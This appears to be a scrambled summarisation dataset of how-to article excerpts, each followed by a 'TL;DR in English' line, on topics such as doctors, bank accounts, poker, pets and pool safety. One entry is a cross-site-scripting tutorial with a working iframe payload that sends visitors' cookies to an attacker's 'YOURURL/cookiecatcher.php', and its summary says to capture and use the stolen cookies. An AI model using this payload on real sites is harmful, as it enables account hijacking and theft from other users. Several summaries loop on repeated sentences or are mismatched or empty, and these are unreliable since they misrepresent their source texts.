Tell your doctor you want a second opinion before committing. Ask your doctor office to send records to the second doctor appointment. Bring a list of concerns and questions to the second doctor appointment. Leave your doctor completely if you don’t trust them despite your efforts.

Consider a "joint tenants with right of survivorship" account. Opt for a "tenants by the entirety" account to sign off on each transaction. Open a "convenience" account to manage money for another person. Get a "joint tenants in common" account if one of you wants to will your money elsewhere. Get a "Joint POD/ITF" account if you both want to leave your money to another.

" If you are very confident your hand will win, or you believe no other player will be willing to match you, you can push all your chips on the line—a bold move.  In a tournament, if "you're down to only 5 more big blinds/antes" then you'll be out after 5 rounds around the table if you don't make a stand,  so you will want to go all-in pre-flop with a reasonably good hand, hoping to double up or get everyone to fold. If you have only 5 times the blinds and antes, just picking up the blinds and antes means a 20 percent increase for you, which is huge. So, for example, if you have any pair, any ace, any king, or any two face cards, strongly consider going all-in pre-flop -- if no one has yet entered the pot. You are "short-stacked" compared to other players and to the blinds/antes. If making any reasonably sized bet will put half or more of your stack into the pot, you are pot-committed and may as well go all-in to look stronger and apply maximum pressure. Even if you have the nuts (the best possible flop with your hold cards), don't try to slow-bet and raise just the minimum if you are already pot-committed. Any opponent with the slightest bit of observation will become suspicious why you did not simply go all-in, if you are strong. In any case, your opponents are likely to interpret an all-in from a short stack as a desperate move and call if any of them have a reasonably good hand. If you have enough more chips than an opponent who has a wager on the table, you may "put him or her all in" by betting equal to their total chips (you can say "all-in"). If no other player calls and the shorter stack doesn't fold, both reveal their cards in the showdown -- then any remaining community cards are dealt out one by one without any more wagering on each (because the all-in player has no more chips to bet with). If the other person wins you double that player up, but you have a chance to send that player home. If one player is all in, players who call that and still have more chips can still make additional bets with...

TL;DR in English: Going "all-in. Making side pots. Playing "heads-up.
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Leave the decal on the window with the transfer tape still attached for around 24 hours. This helps ensure that the decal sticks fully to the window. If you don't let the decal set, it may not adhere to the window as strongly.

TL;DR in English: Let the decal set for 24 hours.
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If your doctor is firmly unsupportive of trying treatment options other than the one that you are uncomfortable with, explain that you want to find a second opinion first. A good doctor will be supportive of you looking for other opinions. They may even be able to recommend some other specialists.  Getting a second opinion is sometimes required by insurances for surgeries. Sometimes the second doctor doesn’t agree with the first regarding treatment, and sometimes they do. If the 2 doctors do not agree, it’s best to seek a third opinion to help you decide. The doctor giving you a second opinion will need all your medical information and records. Ask in person before leaving the appointment with your first doctor, or call the office later by phone, to ask that your records are given to another office. You may have to sign a confidentiality waiver about sharing your medical records. Therefore, it can be most convenient to ask your first doctor’s office staff about sending the records before you leave. When you go to the second doctor, briefly summarize your condition and explain why you are there seeking another opinion. Tell them all the reasons you are not sure you want to follow the treatment recommendation that your first doctor is advocating for. This doctor will hopefully give you some more information about the procedure or treatment that was not given to you before, helping you to decide what to do. Or, they may have alternative approaches that they have used that you feel more comfortable with trying. If you have tried various approaches with your doctor and you still feel that they don’t value your input, or that they make you feel foolish for asking questions, this is not a healthy doctor-patient relationship. Find another doctor in your area that you can have a better working relationship with.  Other signs that it may be time to leave your doctor include your doctor not coordinating well with other physicians, their office is disorganized, or your doctor is so rarely available that you usually see...

TL;DR in English: Tell your doctor you want a second opinion before committing. Ask your doctor office to send records to the second doctor. Bring a list of concerns and questions to the second doctor appointment. Leave your doctor completely if you don’t trust them despite your efforts.
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These accounts are the most common type of joint account. They are available to everyone, but popular with couples. With a "joint tenants with rights of survivorship" bank account, owners have equal access and equal responsibility for the account.  If one partner dies, all of the funds pass on to the surviving owner. This account is not subject to probate after an owner dies. Creditors can collect against this account, no matter which of you deposited the balance. This option is only available to couples, whether by marriage, civil union, or domestic partnership. Neither of you may withdraw money without the permission of the other.  Creditors cannot collect on the total balance of the account, but only on funds acquired by the couple and only with permission of both owners. This account is not subject to probate. If one owner dies, the entirety of the balance becomes the property of the surviving owner. If you have an elderly or incapacitated relative who needs you to manage their money, you can open a convenience account with them and act as their agent. The funds in the account belong to the owner. As the agent, you use the funds to pay the owner's bills and manage their transactions.  After the owner's death, funds will be distributed according to their will. Creditors may be allowed to collect against the account. If you are the agent, your creditors may ask you to prove that you do not have ownership over the bank account. These are popular with couples and with business partners, but anyone can open them. You may divide your ownership equally or give one owner more responsibility and access. You will each be entitled to a predetermined percentage of the account.  If one owner dies, an estate will distribute their share of the balance according to their will or trust. This type of account is subject to probate. If there's no will or trust, the funds of the deceased will be distributed to their closest relatives. Creditors may still collect against the entire account, however, even if one partner...

TL;DR in English:


Use the post to capture the data of all who click on it. Use the post to capture the cookies.

Find a vulnerable site where you can post content. Go to create a post. Create and upload your cookie catcher. Post with your cookie catcher. Use the collected cookies.

Although your body might feel different as it is changing, it is important to keep on exercising. Learning to be coordinated with a new physical frame is important. When you do sports, your body creates extra beta-endorphins, which are hormones that can decrease stress and put you in a better mood.  Understand that some sports might be harder for you than in the past. For example, if you were a star figure skater before entering puberty, you might find jumping is more difficult with increased weight. This happens to almost everyone! Talk with your coaches about how to adapt to your new physical frame. Exercising can also help girls who have menstrual pain. If you are worried about working out on your period, see how to Exercise While on Your Period. As you grow taller, you will need some new clothes. Take this moment to think about your new style. Perhaps you would like to look more mature. For girls, this is a good time to learn about bras. Ask your mother, sibling, or a friend for help. Most larger department stores or women’s lingerie stores also have specialists who can help you determine what is the best type and size of bra to use. For boys who play sports, talk to your coaches about purchasing athletic cups. As your body grows, it is important that you nourish it with fruits, vegetables, protein, and whole grains. Try to avoid your intake of junk foods. You might be hungry all the time as your body is using energy to grow. It is okay to eat snacks but aim for things like trail mix or yogurt rather than candy bars or chips.  Do not skip breakfast. You will need your energy for school. Aim for five daily portions of fruits and vegetables. Include foods rich in iron and calcium, e.g. cheese, milk, spinach. Drink when feeling thirsty. Dehydration can make you feel tired.  If you plan to go to a party and know there will be junk food there, consider eating a healthy snack or even dinner beforehand.

TL;DR in English: Continue to exercise. Update your wardrobe. Eat healthy foods.
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“Yet” can give a sentence a certain distinctiveness and tone that “but” may not be able to do. Try replacing your use of “but” with “yet” in your sentences, placing a comma before “yet.” For example, you may say, “Stella plays tennis well, yet her favorite sport is soccer,” or, “I’m good at writing sonnets, yet I prefer reading haikus.” “Yet” can help you provide more information about a subject or event that may be contradictory or ironic. It is often used in negative sentences, similar to how you might use the conjunction “nevertheless.”  For example, you may say, “The new tenants complained about the noise, yet they continue to play their music loud,” or, “She dislikes meeting new people, yet she still showed up at the party.” Often, you can remove the subject in the second half of the sentence. This allows you to remove the comma as well. For example, you may say, “The new tenants complained about the noise yet continue to play their music loud,” or, “She dislikes meeting new people yet still showed up at the party.” “Yet” is often used at the start of a sentence to share an afterthought or a second guess. It can also add a conversational flow to your sentences. For example, you may say, “Yet, despite my complaints, I still miss her company,” or, “Yet I must admit I value facts more than mere superstitions.”

TL;DR in English: Use “yet” like “but” in a sentence. Put “yet” in a sentence to expand or add to the content. Start a sentence with “yet” to give it tone and flow.
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nearest Saturn's current position to use as a guide. When you've gotten a sense of Saturn's path, you'll first need to locate a constellation to use as a focal point to start scanning from. Basically, you want to familiarize yourself with the constellation its closest to and then use a chart of Saturn's position to find out exactly where to look in relation to that star.  In 2014, that constellation will be Libra, while in January of 2016, it will be directly North of the Antares star in the constellation Scorpius. You can look at Saturn's path here: http://www.nakedeyeplanets.com/saturn.htm  If you're viewing on an oppositional date, aim your telescope due South. Typically, Saturn will appear to have a yellowish-golden hue and won't twinkle like stars do. Because Saturn is a planet, it may not be as bright or instantly noticeable as some stars, because it doesn't shimmer. Use your constellation as a point of reference and look for a color difference. While Saturn itself is visible with the naked eye, it's a shame to try to find it and not be able to enjoy its distinctive rings, which are visible with a basic telescope. Using a telescope will make the job much easier, as Saturn will appear to be a distinctly different shape than other bodies in the sky. If you've got a powerful telescope with a yellow filter, that can help isolate the particular light in Saturn's spectrum, making it easier and more pleasurable to see. The planet will be darkened with shadow from the rings, giving an almost 3-dimensional appearance and an oblong quality when seen through a telescope. If you've got a good enough telescope to see the rings, you'll notice that they'll look flat, but create a more rounded and marble-like quality to the planet itself. You should also be able to distinguish between the A (outside) and B (inside) ring belts on the planet, which are pretty much the coolest thing in the sky. Aside from its famous rings, Saturn is also notable for the presences of its many moons, which are often visible in the...

TL;DR in English: Locate the constellation Look for a golden color shining steadily. Use a telescope. Look for the dark edges. Check out the rings. Check out the moons.
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A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

TL;DR in English:

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If you have a child who is not allowed to swim, you can use a pool cover. If you have a child who is allowed to swim, you can use a pool cover. If you have a child who is allowed to swim, you can use a pool cover. If you have a child who is allowed to

Install barriers around your pool. Remove all toys from the pool area. Learn to swim. Provide flotation devices for any inexperienced or weak swimmers. Maintain all drain covers on your pool.

When your cat is still new to your home, lie down near it or in front of it when your paths cross.  Speak to your kitten in a quiet, comforting voice, saying things like, “Hi, kitty.  It's just me.  You can trust me.”  Soon, your cat will become interested in you and come over to give you a sniff.  Repeat this exercise three or four time daily for a week or so.  The exact distance away from your cat you should lie down varies depending on much your cat distrusts you.  The less trust your cat has in you, the further away you will need to lie down in order to entice it to come near. It might take several exchanges before your cat actually gets interested in you enough to come over and see what you’re doing. Do not reach your hand out to the cat during this stage. Keep some treats handy as you walk around the house during the day.  When you encounter the kitten that does not trust you, squat down on one knee.  In a gentle voice, say, “Here, kitty.  Would you like a treat?”  Place a cat treat in the center of one upturned palm and extend it to the kitten.  Repeat three or four times a day.  At first, keep your arm extended out as far as you can. After a week or so, start to bring your arm in closer to your body.  This will allow your cat to feel safer with you.  This feeling of security will help you earn a kitten’s trust. At this point, reduce the number of times each day you give your kitten a treat to just one or two. After your kitten is comfortable eating from your hand in close proximity to your body, introduce a new element to the interaction.  While your cat is nibbling the treat in one hand, bring your other hand up and stroke the cat gently from the top of its head or neck toward its tail.  Smooth, steady strokes along its back will reassure your kitten and help you earn its trust. If you pick a kitten up before it trusts you, it will become startled.  Only pick the kitten up after it trusts you enough to eat from your hand and allow you to pet it.  When you lift your kitten, do so from the kitten’s...

TL;DR in English: Lie down on your stomach. Offer food from your hand. Pet your kitten. Pick the kitten up. Play with your kitten. Introduce your cat to a wide variety of people.
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Rome wasn't built in a day. You're probably not going to kick your habit in a week, either. That's perfectly okay. Small victories beget bigger ones. In the beginning, simply try to reduce the amount of alcohol you consume. Going straight from a heavy drinker to cold turkey is a recipe for physical and emotional disaster.  Imagine that due to excess alcohol, you are vomiting and having paralyzing headaches. If you've felt this way before while drinking, try to summon those memories. The pain you feel is good: it's a willingness to change your habits, and that's the first step. Even if you only reduce your daily drinking by one drink, it's a success. No step is too small at this point. A mistake here is getting comfortable only curbing your drinking by one drink. Keep working on reducing the alcohol you consume. Every week, cut down the total number of drinks by at least one. If you want to be more ambitious, try halving the number of drinks you allow yourself each week. Eating a meal before drinking will reduce your interest for drinking. It will also make it harder to get drunk. If you do this, don't trick yourself into letting your body get as drunk as you would have if you hadn't eaten — although very clever, that's what we call cheating! Water will help keep you hydrated, make you feel better, and help flush out toxins from your body. Men are advised to drink 12 cups (3.0 liters) of water a day, and women are advised to drink 9 cups (2.2 liters). This will make it harder for you to justify having alcohol in your house. Use non-alcoholic sparkling wine instead, or cut that part out of the recipe. Most people do not drink like alcoholics do. They cannot understand the fact that some people truly have a problem with alcohol. Of course, there are others who have the problem too. Either way, people will say "You don't have a problem!"  When you do quit drinking, just say "No thanks, I'll have water — I'm trying to watch my weight."  If you hang out with them very much they'll figure it out — and they'll think...

TL;DR in English: Start by reducing your alcohol intake. Have food before you drink. Drink a lot of water. Revise recipes that call for alcohol. Don't try to explain quitting to people. Make changes to your routine. Don’t give up on yourself. Don’t let guilt consume you.
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If you’re tempted to pick at trouble spots on your face, conceal them with bits of medical tape. Each time you attempt to pick you will be reminded that this behavior is off-limits. Wearing makeup over your facial skin serves a dual purpose: it covers imperfections so that you are less likely to obsess over them and it acts as a barrier to prevent picking. If you spend extra time in the morning applying makeup, you won’t want to smudge it by picking at your face, right? Ask your dermatologist for a makeup recommendation that reduces acne and helps clear skin. If you spend a lot of time in front of mirrors, try to decrease your mirror time. Time yourself in front of the mirrors--if you know you only have 5 or 10 minutes, you won't be able to linger on that blemish.  Put away or cover the mirrors in your home so that you only use them when you are getting dressed or doing a beauty routine. Get rid of magnifying mirrors that only serve to enhance your imperfections and make you feel worse about your appearance. The next time you get the urge to pick your face, tell yourself you must wait 10 minutes. Set a timer on your phone. When the time elapses, see if the urge is still there.  More than likely, the urge will have passed. If not, challenge yourself to wait a little bit longer before picking. Try to increase the amount of time between picking. You may notice yourself becoming better at dealing with the urge, or you may find healthier replacement activities to do instead of picking.

TL;DR in English: Cover pimples with medical tape if you have the urge to touch them. Apply makeup to facial skin to cover marks. Reduce your mirror time to cut back on obsessing. Try delaying your picking when the urge comes.
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This will prevent children from entering the water without supervision. Children are at an increased risk around home pools, and it is important that they are not allowed easy or unsupervised access. Anything that might tempt a child to enter the water without supervision is dangerous. Toys can be especially alluring to kids, and need to be put away after use. Most local branches of the Red Cross or YMCA will offer a variety of swimming lessons for all ages, and levels of ability. This can be a very important safeguard before installing or moving into a home with a pool. A bit of prevention is worth much more than a dramatic rescue. If you have young children, or are expecting young children to be using your pool provide age appropriate flotation devices. Improperly maintained covers can create suction that will hold a swimmer or child under the water.

TL;DR in English:


Walk around the city. If you're in a city, you can walk around the city. If you're in a park, you can walk around the park. If you're in a nature reserve, you can walk around the reserve. If you're in a city, you can walk around the city. If you

Go to a nature preserve or park. Walk in a city. Go  star-gazing.

Since most Macs don't have disc trays anymore, you'll need to buy an external DVD drive and attach it to your computer via a USB cable.  Make sure that the DVD reader that you buy can "burn" or write DVDs before purchasing it. You may also need to buy a USB-3 to USB-C adapter if your Mac is one of the most recent models. Skip this step if your Mac already has a DVD drive with DVD writing capabilities. The DVD has to be blank (e.g., brand-new) and logo-side-up for this to work. It's a menu item at the top of your Mac's screen. Clicking it prompts a drop-down menu to appear. If you don't see Go, click your desktop or the Finder to prompt Go to appear. You'll find this near the bottom of the Go drop-down menu. A window will open. It's a grey hard drive icon with a stethoscope on it. Doing so opens the Disk Utility window. This is a radioactive symbol-shaped icon at the top of the window. Click the folder into which you saved your movie. You'll find the folder in question on the left side of the Finder window. Click the movie file to do so. It's in the bottom-right corner of the window. You'll see this in the pop-up menu near the top of the Disk Utility window. Your movie will begin burning onto the DVD. It's in the bottom-right corner of the window. After you do this, you can eject your DVD from your computer and test it in your preferred DVD player.

TL;DR in English: Buy and plug in an external DVD writer. Insert a blank DVD-R into your Mac's CD tray. Click Go. Click Utilities. Double-click Disk Utility. Click Burn. Select a file location. Select your movie. Click Burn. Click Burn when prompted. Click OK when prompted.
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Place your rat a little bit away from you. Hold a treat out so your rat notices it. When it comes to get the treat, reward it by giving it the treat. Don’t pair a verbal cue with the action and reward until your rat can perform it consistently. Once the behavior is 100% consistent, start pairing the hand signal with a verbal command such as “come.” Repeat the word while the rat comes to you and gesture with your hand, such as by motioning towards yourself. When the rat comes to you, give it the treat and praise it with pets or holding. If your rat's name is more than two syllables long, try using a nickname or shortened version instead. Place the rat on a flat surface. Take a treat and say “stand.” As the rat sniffs the treat, lift the treat to guide the rat upward. Your rat will probably stand up to follow the treat in your hand. When it stands, give it the treat and praise.  Each time you get your rat to stand, raise the treat higher to try to get them to stand straighter. When you start to phase out the treats, continue to raise your hand as if you’re holding something in it. To make your rat shake your hand, put a treat in your hand near the rat's paws. Then slowly and very gently, take your rat’s paw and put it on the treat. Say "shake" and then feed the treat to your rat. You could also try holding the treat in your closed fist with 1 finger outstretched as you do this. Allow your rat to grip or “shake” your outstretched finger. You can teach the rat to clap by holding a treat above its head. Say the word “clap!” and the rat should try to grab the treat with both hands. Make sure to hold it at a place where both the hands meet when it reaches. When it claps, give it the treat and praise. Rats love to ride on their humans’ shoulders, but they can fall off and get injured, so be very careful if you decide to do this. Place the rat on your shoulder, and then give it a treat. Hold it gently in place as you let it get used to being on your shoulder. Give it another treat or two while it stays put. As the rat...

TL;DR in English: Teach the rat to come when called. Train the rat to stand. Consider teaching a rat to shake hands. Try teaching your rat to clap. Carry your rat around on your shoulder cautiously.
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To do so, either click the Windows logo in the bottom-left corner of the screen, or press the ⊞ Win key. It's in the bottom-left side of the Start window. It's in the top row of options here. This option is on the left side of the window. You should see your Internet's network name at the top of this page with "Connected" written below it; this indicates that your Ethernet connection is live. If your Ethernet isn't working, try using a different port on the router or a different Ethernet cable.

TL;DR in English: Open the Start menu. Click ⚙. Click Network & Internet. Click Ethernet. Verify that the Ethernet is working.
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If the weather is nice, go for a walk. Connecting with nature is a great way to relax and enjoy yourself, so drive or walk over to the nearest park or nature reserve. If it's cold, you can still take a walk: snowy or wintry weather can be just as beautiful as summer weather. Just make sure to bundle up. Walking in an urban area can be just as interesting as walking in nature, and you're sure to see a lot of interesting shops and people along the way. If you live in or near a city, wander a bit downtown and explore the parks, boulevards and unique sights. Stargazing can be aided by telescopes or binoculars, but you don't need any special equipment to enjoy the stars. Simply find a quiet, dark place and look up. Try and identify constellations and planets, and break out the telescope if you have one. If you live in a densely populated area, you might have to take a drive to find an area with less light pollution.

TL;DR in English:


Do not eat poorly cooked food. Avoid unsanitary areas. Recognize accidental transmission.

You don’t want to clog up the blender by filling it completely with rice. Smaller amounts will let the blade work more efficiently and grind the rice better.  A good rule of thumb to follow is that 1 cup (240 ml) of rice yields about 1 1⁄2 cups (350 ml) of rice flour.  You can use either white or brown rice, as long as it’s raw and uncooked. Turn the blender on the highest setting to get the best results. The flour should be smooth and there shouldn’t be any large chunks.  Grinding rice is hard on your blender's blades. If you plan on making a lot of flour, invest in a higher quality blender that's more durable. The finer the flour, the better it will work in baking and other recipes. Any air that leaks into a container that's not properly sealed can cause the flour to spoil faster. Either a plastic or glass container or jar will work. If you use a resealable bag, squeeze out any excess air before you seal the bag. While flour can keep for a very long time, it tends to get musty or stale after 1 year. Throw it away if you see mold or notice a foul scent.  To keep track of when the flour needs to be thrown out, use a permanent marker or a sticker label to note the date you should throw it out by. This will be 1 year from the day you made it. If you have different types of flour in your pantry, you may also want to write “rice flour” on the label. Keeping the flour in the refrigerator or the freezer will help the flour last longer.

TL;DR in English: Place 1 to 2 cups (240 to 470 ml) of rice in your blender at a time. Cover the blender and grind the rice until it’s a fine powder consistency. Transfer the flour to an airtight container and place the lid tightly on it. Store the flour in the pantry for up to 1 year until you’re ready to use it.
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Think happiness. Talk happiness. Give people compliments. Do favors. Be generous and kind. Everything you do to others, you will receive. What you focus on and do to others, you are brining into your own life. Be happy! There are many things you can do to heighten your frequency.  Spend more times doing the things that you like. Think about good memories you've had with friends and family. Spend time with the ones you love! Experience things you've always wanted to do! Listen to happy and joyful music that you really like! Watch funny videos and movies! Your reality is created by the images you have in your mind - the Universe doesn't understand words. It is often easier to conjure up images that move. When you want to visualize, think of your five senses; sight, hearing, taste, smell, touch. Keeping these things in mind while wishing is important. The visualization should feel so real that you feel completely surrounded by it. When you visualize, concentrate - really concentrate - on the things that you want. Then, when you're done, you must act and think like you have received it. It's yours. All you have to do is to wait for the opportunity for it to arrive. Don't get too caught up, though - if you dwell too much on it, you might begin to think and feel negativity around it. Do you want money? Feel like you've just won 1,000,000 dollars! Do you want to find your soulmate? Then allow the feeling of love towards this person - this person that's about to come into your life - fill you up! Shape your own life, do the thing you would've done if you had already received your wish! If you do it right, it's already on it's way - all you have to do is to believe it already is yours. The secret to success using the Law is believing. Believing is your job. The Universe will take care of everything else. If you feel doubtful, start with something small. In your mind, create a picture of one particular kind of leaf, rock, feather, etc. - something small. Make this thing unique, so unique that when you first see it,...

TL;DR in English: Glow with positivity. Learn to visualize. Shift your entire existence in order to receive everything you want. Believe! Love yourself. Practice meditating to make yourself feel better. Spend time every day in the GAP. Incorporate religion.
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Ice-cold water immediately after an intense muscle workout has been shown to reduce muscle soreness more than any other single treatment. It reduces muscle inflammation and prevents much of the soreness from lingering in your muscles.  If you are a professional or college athlete or workout at an elite gym, you might have an ice bath there that you can utilise to help reduce muscle soreness. If not, try these strategies instead:  Jump into a cold shower or bath. The colder, the better: professional athletes use ice water, but if you can't stand it, just use cold tap water with no hot water added. It won't work as well as ice water, but it will be better than warm or lukewarm water. If you're an athlete, consider investing in a five-gallon bucket. For soreness of the arms (like from baseball practice), a five-gallon bucket filled with ice water will allow you to ice the whole arm at one time. This method will also work for feet. When icing a muscle or muscle group (rather than your whole body), make sure wrap an ice pack in some sort of buffer before applying the ice. This will keep the extreme cold from injuring your skin. Try putting crushed ice in a plastic bag, then wrapping it in a tea towel or washcloth before applying to the affected muscles.  Use plastic wrap to secure ice to limbs or the body. If you need to be moving around (cooking, cleaning, etc.) while using ice, plastic wrap can help secure ice onto a muscle while you move. Ice your muscles for 10 – 20 minutes. While the first step should always be ice, a few hours later it’s a good idea to apply heat to the affected muscles to help stimulate blood flow to your muscles and help them to remain limber instead of tight. Apply heat for about 20 minutes.  Take a hot shower or bath. The water will relax your muscles as you soak. Adding Epsom salts to your bathwater is an effective home remedy for sore muscles. Epsom salts are made of magnesium, which is absorbed into the skin and works as a natural muscle relaxant.  Add two to four heaped tablespoons...

TL;DR in English: Ice up. Heat up. Keep moving. Get a massage. Invest in a foam roller. Take pain medication. Know when soreness is normal and when it signals a problem.
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No matter where you live or are traveling to, you should avoid food that is poorly cooked as it increases your risk of food poisoning and other causes of infection. Poorly cooked food may be major conduit of H. Pylori because the food is not heated to a temperature high enough to kill the bacteria. This can be hard to detect, but if your food is cold or raw, avoid eating it because it could possibly be a carrier of the bacteria.   Avoid food that has been inadequately cleaned, like vegetables, or handled, like meats and fish. Improperly cleaned and mishandled foods also increase the risk of all types of foodborne infection. You should also cook any food you make yourself to a high temperature as well. Since you may not know where all the food came from that you are cooking, you need to be certain you cook it well. This way you can avoid contaminating yourself with the bacteria as well. Like most bacterial infections, one of the major ways that the H. Pylori bacteria may be transmitted is through unsanitary conditions. This includes food and beverage production, living conditions, and activity areas as well. Food that is cooked in a poorly sanitized setting can transmit the bacteria from one individual to another. Avoid roadside locations or food carts where it is evident that there is no proper facilities for hand washing or cleaning utensils.  You should also avoid living arrangements near unclean water sources, sewage locations, and other areas where unclean and dirty water may be prevalent. Avoid places where people don't use gloves, where there are inadequate restroom and cleaning facilities, or places where workers touch money and other people and then handle food or merchandise. Another way that the bacteria may be transmitted is through the fecal-oral route or the oral-oral route. This means that food, water, and objects are contaminated with the bacteria because of poor sewage practices and poor hygiene. Since many individuals do not know they are carrying the bacteria, it can easily be transferred...

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Prepare for the interview. Prepare for the interview by researching the airline. Complete your initial training once hired. Start working at the airline as a flight engineer. Advance to first officer after 1-5 years. Become a captain after 5-15 years on the job.

Get plenty of sleep. Maintain a healthy diet. Avoid excessive alcohol. Get plenty of exercise. Spend time doing things you enjoy.

Genogram templates are available online or you can start from scratch and fill one out by hand. You can also purchase software programs designed specifically for creating genograms. The symbols act as a visual indicator of the information you gathered in your interviews. You can draw the standard genogram symbols by hand or by using the "draw" or "shapes" options in a word processing program.  Males are indicated by a square. When indicating a marriage, position the male symbol to the left. Women are indicated by a circle. When indicating a marriage, position the female symbol to the right. A single horizontal line indicates marriage and two slanted lines separation. The oldest child is always below and to the left of his family, whereas the youngest should be below and to the right. Other available symbols help you describe family events such as pregnancy or miscarriage, illnesses and deaths. There is even a diamond symbol to represent pets. For example, you may decide to start your genogram with your grandparents or even your great grandparents. Genograms can be used to show the diversity in family relationships as well as patterns of illnesses.  A genogram includes symbols to indicate family interactions such as conflict, closeness, estrangement, etc. Emotional relationships have specific symbols that help keep the flow of the genogram clear. There are also symbols that denote sexual and physical abuse as well as mental and physical disorders. Once you've made the genogram, look carefully to see what patterns can be identified. There may be hereditary patterns or particular psychological tendencies that are very noticeable when grouped together in this way.  Be careful about making assumptions. The data is one thing, but avoid using it to confirm that your family has a particular disease, or mental issue. Talk to a medical professional about any potential for hereditary problems of this type. Avoid using the genogram to make assumptions about the motivations of family members as well, or using this to...

TL;DR in English: Design your genogram. Use standard genogram symbols to represent family members and relationships, both normal and dysfunctional. Organize the chart based on family interactions beginning with the oldest generation you want to represent at the top. Look for patterns.
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Use equal parts water and equal parts school glue to create a watered down mixture. Line a small bowl with plastic wrap or wax paper to protect the surface of the bowl and mix your solution with a disposable utensil. Mix as much solution as you think you'll need depending on the size and amount of sand dollar shells you have. Like a baking sheet or large plate with wax paper and lay your dry shells on it. Place your shells with the rounded side facing up. Make sure to space your shells an inch or so apart. Using wax paper allows for an easy clean up. Use a soft paintbrush to paint the rounded top side of your shells first. Try to avoid touching the shell with your fingers, this can leave smudges in the glue. Allow the glue to completely dry before flipping the shells over and painting the underside.  Painting your shells with this glue mixture will harden the shells, which will help them last longer. Maintain a clean work area to ensure dirt and debris don’t get stuck to the sand dollars. This method will create a dull natural finish for your sand dollars.

TL;DR in English: Prepare your solution. Lay your shells on wax paper. Paint glue on your sand dollar.
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Prepare a one-page professional pilot resume. The resume should be broken down into sections with your contact information, ratings and flight hours, experience and chronological job history and any awards or accomplishments. Ask other pilots who have direct knowledge of your flying skills to write letters of recommendation. Figure out what types of planes they operate, as well as their hub cities. Look them up online to see if there’s been any recent news about the company. Also, make sure your logbook is complete and you have an accurate record of your flight time.  Check professional pilot websites where pilots share airline specific interview experiences. You may want to bring copies of records such as college transcripts, military records, and licenses to the interview. If the airline conducts a simulator check, rent a simulator at your local airport or flight school to brush up. Some companies offer airline-specific interview simulator preparation, although this specialty interview prep can be pricey. Onboarding for airline pilots typically includes a week of company training, 3-6 weeks of ground school and simulator training, and 25 hours of initial operating experience (including a check ride with an FAA aviation safety inspector). Once trained, you'll be required to complete regular training and simulator checks. These usually occur once or twice a year. Depending on the type of aircraft, new airline pilots start as first officers or flight engineers. Although some airlines favor applicants who already have a flight engineer’s license, they may provide flight engineer training for those who have only the commercial license. In the airlines, advancement is usually predetermined by seniority provisions stated in union contracts. After a period of 1-5 years, you will likely be promoted to the role of first office. A first officer (also known as the co-pilot) is the second-in-command to the captain. Gaining seniority will also help you acquire preferred flight assignments. Your time with the airline will...

TL;DR in English: Apply to airlines as soon as you meet the minimum requirements. Prepare for the interview by researching the airline. Complete your initial training once hired. Start working at the airline as a flight engineer. Advance to first officer after 1-5 years. Become a captain after 5-15 years on the job.
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Sleep is crucial for your mental and physical health, and not getting enough can make your depression worse. When you’re in college, it can be hard to get the sleep you need. Most young adults need 7-9 hours of sleep a night to be at their healthiest.  Schedule time for sleep the same way you would for studying and other obligations. Try to create a consistent schedule for when you go to bed and when you wake up. Make sure that you have some downtime before you go to bed every night. Spend a little time doing something peaceful, like reading a book, taking a warm shower, or doing a little meditation. Avoid using your phone or computer right before going to bed, since the light from the screen can make it more difficult for you to fall asleep. Eating and drinking the right things can boost your mood, help you concentrate, and help you sleep better. It is also important to avoid foods and drinks that can aggravate symptoms of depression.  Eat foods that are rich in vitamin B12 and folates, like lentils, almonds, spinach, chicken, and fish. Make sure you are getting enough vitamin D, which is often added to milk, juices, and breakfast cereals. Eat plenty of fish, or look for foods fortified with omega-3 fatty acids. Avoid foods that are high in refined sugars, like sugary desserts and sodas. Avoid drinking too much caffeine. While it can temporarily boost your energy, it can also disrupt your sleep cycle and make you feel nervous or irritable. While having a drink or two with your friends now and then can be a fun way to socialize and blow off steam, drinking too much alcohol can have a negative impact on your mood and your health. Excessive drinking can leave you feeling sick and tired, disrupt your sleep, and make your depression symptoms worse. It can also lead to more serious health problems, including liver disease, gastrointestinal problems, and cardiovascular disease. If you feel that your drinking is having a serious impact on your health, your relationships, or your ability to do your work, or if you...

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Burberry makes scarves for both men and women. You can pick any scarf from either line regardless of your gender, but keep in mind that the size, patterns, and materials used for women's scarves are easier to pair with most women's clothing, while those used for men's scarves are easier to pair with most men's clothing.  Women's scarves are available in rectangular and square styles. There are also poncho and wrap style scarves, as well as short fur collars. “Heritage” style scarves tend to present subdued, classic looks. Men's scarves are also available in rectangular and square styles. There are also long blanket style scarves, as well as "heritage" style scarves, which tend to have a more classic appearance, just as they do in the women's line. There is no single material used for Burberry scarves. Some are softer and more elegant, while others are a little more durable. The type of material you choose can change the overall tone of your ensemble.  Women's scarves come in cashmere, silk, and fur. There are also blends that combine one or more of these materials with other materials, like wool, linen, or cotton. Men's scarves come in cashmere, wool, linen, cotton and silk. Note that light, flowing materials like cashmere and silk tend to create a more elegant appearance. Fur is also a luxurious material. Wool, linen, cotton, and their blends still have chic and class, but they do tend to look a little less formal and may seem more versatile. The color and print will also change the tone of your ensemble. Classic prints are usually easier to pair with other clothes, but statement prints can add greater flair and personality to your look.  The checkered pattern is one of the most classic prints for both men and women. It can be found in range of colors, including everything from bold reds to neutral tans.  You can also find solid prints, especially if you look in the heritage scarf collection. Other patterns you might find can include abstract combinations of straight and curved lines, ruffles, large florals,...

TL;DR in English: Choose between women's and men's styles. Pick the material. Select your favorite pattern.
